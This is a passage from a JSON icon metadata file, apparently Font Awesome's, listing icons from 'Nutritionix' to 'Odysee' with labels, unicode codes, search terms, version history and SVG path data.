3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"
      }
    },
    "free": ["brands"]
  },
  "nutritionix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d6",
    "label": "Nutritionix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z\"/></svg>",
        "viewBox": [0, 0, 400, 512],
        "width": 400,
        "height": 512,
        "path": "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"
      }
    },
    "free": ["brands"]
  },
  "o": {
    "aliases": {
      "unicodes": {
        "composite": ["6f"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter O", "Latin Small Letter O", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4f",
    "label": "O",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 96a160 160 0 1 0 0 320 160 160 0 1 0 0-320zM448 256A224 224 0 1 1 0 256a224 224 0 1 1 448 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 96a160 160 0 1 0 0 320 160 160 0 1 0 0-320zM448 256A224 224 0 1 1 0 256a224 224 0 1 1 448 0z"
      }
    },
    "free": ["solid"]
  },
  "object-group": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f247"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["combine", "copy", "design", "merge", "select"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f247",
    "label": "Object Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H456.6C467.6 12.9 488.3 0 512 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM456.6 96H119.4c-5.6 9.7-13.7 17.8-23.4 23.4V392.6c9.7 5.6 17.8 13.7 23.4 23.4H456.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4zM128 160c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H456.6C467.6 12.9 488.3 0 512 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM456.6 96H119.4c-5.6 9.7-13.7 17.8-23.4 23.4V392.6c9.7 5.6 17.8 13.7 23.4 23.4H456.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4zM128 160c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 115.8C38.2 107 32 94.2 32 80c0-26.5 21.5-48 48-48c14.2 0 27 6.2 35.8 16H460.2c8.8-9.8 21.6-16 35.8-16c26.5 0 48 21.5 48 48c0 14.2-6.2 27-16 35.8V396.2c9.8 8.8 16 21.6 16 35.8c0 26.5-21.5 48-48 48c-14.2 0-27-6.2-35.8-16H115.8c-8.8 9.8-21.6 16-35.8 16c-26.5 0-48-21.5-48-48c0-14.2 6.2-27 16-35.8V115.8zM125.3 96c-4.8 13.6-15.6 24.4-29.3 29.3V386.7c13.6 4.8 24.4 15.6 29.3 29.3H450.7c4.8-13.6 15.6-24.4 29.3-29.3V125.3c-13.6-4.8-24.4-15.6-29.3-29.3H125.3zm2.7 64c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 115.8C38.2 107 32 94.2 32 80c0-26.5 21.5-48 48-48c14.2 0 27 6.2 35.8 16H460.2c8.8-9.8 21.6-16 35.8-16c26.5 0 48 21.5 48 48c0 14.2-6.2 27-16 35.8V396.2c9.8 8.8 16 21.6 16 35.8c0 26.5-21.5 48-48 48c-14.2 0-27-6.2-35.8-16H115.8c-8.8 9.8-21.6 16-35.8 16c-26.5 0-48-21.5-48-48c0-14.2 6.2-27 16-35.8V115.8zM125.3 96c-4.8 13.6-15.6 24.4-29.3 29.3V386.7c13.6 4.8 24.4 15.6 29.3 29.3H450.7c4.8-13.6 15.6-24.4 29.3-29.3V125.3c-13.6-4.8-24.4-15.6-29.3-29.3H125.3zm2.7 64c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160zM256 320h32c35.3 0 64-28.7 64-64V224h64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V320z"
      }
    },
    "free": ["regular", "solid"]
  },
  "object-ungroup": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f248"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copy", "design", "merge", "select", "separate"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f248",
    "label": "Object Ungroup",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H328.6C339.6 12.9 360.3 0 384 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V232.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM119.4 96c-5.6 9.7-13.7 17.8-23.4 23.4V232.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4H119.4zm192 384c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V352h64v40.6c9.7 5.6 17.8 13.7 23.4 23.4H520.6c5.6-9.7 13.7-17.8 23.4-23.4V279.4c-9.7-5.6-17.8-13.7-23.4-23.4h-46c-5.4-15.4-14.6-28.9-26.5-39.6V192h72.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H311.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H328.6C339.6 12.9 360.3 0 384 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V232.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM119.4 96c-5.6 9.7-13.7 17.8-23.4 23.4V232.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4H119.4zm192 384c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V352h64v40.6c9.7 5.6 17.8 13.7 23.4 23.4H520.6c5.6-9.7 13.7-17.8 23.4-23.4V279.4c-9.7-5.6-17.8-13.7-23.4-23.4h-46c-5.4-15.4-14.6-28.9-26.5-39.6V192h72.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H311.4z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48.2 66.8c-.1-.8-.2-1.7-.2-2.5c0-.1 0-.1 0-.2c0-8.8 7.2-16 16-16c.9 0 1.9 .1 2.8 .2C74.3 49.5 80 56.1 80 64c0 8.8-7.2 16-16 16c-7.9 0-14.5-5.7-15.8-13.2zM0 64c0 26.9 16.5 49.9 40 59.3V228.7C16.5 238.1 0 261.1 0 288c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H324.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V123.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H123.3C113.9 16.5 90.9 0 64 0C28.7 0 0 28.7 0 64zm368 0a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM324.7 88c6.5 16 19.3 28.9 35.3 35.3V228.7c-16 6.5-28.9 19.3-35.3 35.3H123.3c-6.5-16-19.3-28.9-35.3-35.3V123.3c16-6.5 28.9-19.3 35.3-35.3H324.7zM384 272a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM80 288c0 7.9-5.7 14.5-13.2 15.8c-.8 .1-1.7 .2-2.5 .2l-.2 0c-8.8 0-16-7.2-16-16c0-.9 .1-1.9 .2-2.8C49.5 277.7 56.1 272 64 272c8.8 0 16 7.2 16 16zm391.3-40h45.4c6.5 16 19.3 28.9 35.3 35.3V388.7c-16 6.5-28.9 19.3-35.3 35.3H315.3c-6.5-16-19.3-28.9-35.3-35.3V352H232v36.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H516.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V283.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H448v16.4c9.8 8.8 17.8 19.5 23.3 31.6zm88.9-26.7a16 16 0 1 1 31.5 5.5 16 16 0 1 1 -31.5-5.5zM271.8 450.7a16 16 0 1 1 -31.5-5.5 16 16 0 1 1 31.5 5.5zm301.5 13c-7.5-1.3-13.2-7.9-13.2-15.8c0-8.8 7.2-16 16-16c7.9 0 14.5 5.7 15.8 13.2l0 .1c.1 .9 .2 1.8 .2 2.7c0 8.8-7.2 16-16 16c-.9 0-1.9-.1-2.8-.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48.2 66.8c-.1-.8-.2-1.7-.2-2.5c0-.1 0-.1 0-.2c0-8.8 7.2-16 16-16c.9 0 1.9 .1 2.8 .2C74.3 49.5 80 56.1 80 64c0 8.8-7.2 16-16 16c-7.9 0-14.5-5.7-15.8-13.2zM0 64c0 26.9 16.5 49.9 40 59.3V228.7C16.5 238.1 0 261.1 0 288c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H324.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V123.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H123.3C113.9 16.5 90.9 0 64 0C28.7 0 0 28.7 0 64zm368 0a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM324.7 88c6.5 16 19.3 28.9 35.3 35.3V228.7c-16 6.5-28.9 19.3-35.3 35.3H123.3c-6.5-16-19.3-28.9-35.3-35.3V123.3c16-6.5 28.9-19.3 35.3-35.3H324.7zM384 272a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM80 288c0 7.9-5.7 14.5-13.2 15.8c-.8 .1-1.7 .2-2.5 .2l-.2 0c-8.8 0-16-7.2-16-16c0-.9 .1-1.9 .2-2.8C49.5 277.7 56.1 272 64 272c8.8 0 16 7.2 16 16zm391.3-40h45.4c6.5 16 19.3 28.9 35.3 35.3V388.7c-16 6.5-28.9 19.3-35.3 35.3H315.3c-6.5-16-19.3-28.9-35.3-35.3V352H232v36.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H516.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V283.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H448v16.4c9.8 8.8 17.8 19.5 23.3 31.6zm88.9-26.7a16 16 0 1 1 31.5 5.5 16 16 0 1 1 -31.5-5.5zM271.8 450.7a16 16 0 1 1 -31.5-5.5 16 16 0 1 1 31.5 5.5zm301.5 13c-7.5-1.3-13.2-7.9-13.2-15.8c0-8.8 7.2-16 16-16c7.9 0 14.5 5.7 15.8 13.2l0 .1c.1 .9 .2 1.8 .2 2.7c0 8.8-7.2 16-16 16c-.9 0-1.9-.1-2.8-.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "octopus-deploy": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e082",
    "label": "Octopus Deploy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"
      }
    },
    "free": ["brands"]
  },
  "odnoklassniki": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f263",
    "label": "Odnoklassniki",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"
      }
    },
    "free": ["brands"]
  },
  "odysee": {
    "changes": ["6.2.1", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5c6",
    "label": "Odysee",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1667828915,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.7 463c-42.3 30.8-94.4 49-150.7 49C144.9 512 50.3 441.2 14.9 342.2c2.4 1.7 5.9 3.6 7.9 4.4c16.3 7.4 40.1-5.4 62.9-28.7c6.9-6.9 14.4-12.4 22.8-17.3c18.3-11.9 37.6-20.8 58.4-27.2c0 0 22.3 34.2 43.1 74.8s-22.3 54-27.2 54c-.3 0-.8 0-1.5-.1c-11-.5-70-3-56 51.1c14.9 57.4 97.5 36.6 139.6 8.9s31.7-118.3 31.7-118.3c41.1-6.4 54 37.1 57.9 59.4c.8 4.6 1.1 9.9 1.4 15.5c1.1 21.2 2.3 45.6 35.3 46.4c5.3 0 10.6-.8 15.5-2zm-95.3-23.7c-2-.5-3.5-2.5-3-5c1-2.5 3-3.5 5-3s3.5 3 3 5s-2.5 3.5-5 3zm-207-95.6c1.5-.5 3.5 1 4 3c0 2-1 4-3 4c-1.5 .5-3.5-1-4-3c-.5-1.5 1-3.5 3-4zM451.8 421C489.3 376.4 512 318.8 512 256c0-67.5-26.1-128.9-68.8-174.7c-.1 23.5-6.1 48.2-16.8 69.2c-11.9 20.3-49 58.9-69.8 78.7c-.7 .3-1.1 .9-1.5 1.4c-.2 .2-.3 .4-.5 .6c-5 6.9-4 16.8 3 21.8c21.3 15.8 56.4 45.6 59.4 72.8c3.5 34.9 27.9 75.6 34.2 86.2l0 0c.8 1.3 1.3 2.1 1.4 2.4c0 2.2-.4 4.3-.8 6.5zM390.7 251c-.5 3 1 5.9 4 6.4s5.9-1 6.4-4s-1-5.9-4-6.4c-3-1-5.9 1-6.4 4zm61.4-60.9l-11.4 5.4-3 12.9-5.4-11.4-12.9-3 11.4-5.4 3-12.9 5.4 11.4 12.9 3zM395.5 41.3c-16.2 8.2-22.1 32.8-29 61.4l0 0c-.3 1.4-.7 2.8-1 4.2c-9.5 38.5-30.6 37.6-41.7 37.2c-1.1 0-2-.1-2.9-.1c-5.1 0-6-4-8.9-17.1c-2.6-12.1-6.9-32-17.9-63.6C271.4-2.5 211.4 13.9 165.9 41.1C110.6 74.2 131.5 143 146.1 190.5c.7 2.2 1.4 4.4 2 6.6c-4 4-13.8 7.5-26 11.9c-12.1 4.3-26.6 9.5-40.3 16.9C47.9 243.9 11.5 274.9 2 288.5C.7 277.8 0 267 0 256C0 114.6 114.6 0 256 0c51.4 0 99.4 15.2 139.5 41.3zM58.9 189.6c-1.5-2-4.5-3-6.4-1.5s-3 4.5-1.5 6.4s4.5 3 6.4 1.5c2.5-1.5 3-4.5 1.5-6.4zM327.3 64.9c2-1.5 5-.5 6.4 1.5c1.5 2.5 1 5.4-1.5 6.4c-2 1.5-5 .5-6.4-1.5s-.5-5 1.5-6.4zM95.1 105c-.5 1.5 .5 3 2 3c1.5 .5 3-.5 3-2c.5-1.5-.5-3-2-3s-3 .5-3 2zm84.7-.5c-3.5-43.1 37.1-54 37.1-54c44.1-15.4 56 5.9 66.4 37.6s3 42.6-38.6 58.9s-61.9-4.5-64.9-42.6zm89.6 14.9h1c2.5 0 5-2 5-5c2-6.9 1-14.4-2-20.8c-1.5-2-4-3.5-6.4-2.5c-3 1-4.5 4-3.5 6.9c2 4.5 3 9.9 1.5 14.9c-.5 3 1.5 5.9 4.5 6.4zm-9.9-41.6c-2 0-4-1-5-3s-2-3.5-3-5c-2-2-2-5.4 0-7.4s5.4-2 7.4 0c2 2.5 3.5 5 5 7.4s.5 5.9-2.5 7.4c-.6 0-1 .2-1.3 .3c-.2 .1-.4 .2-.6 .2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
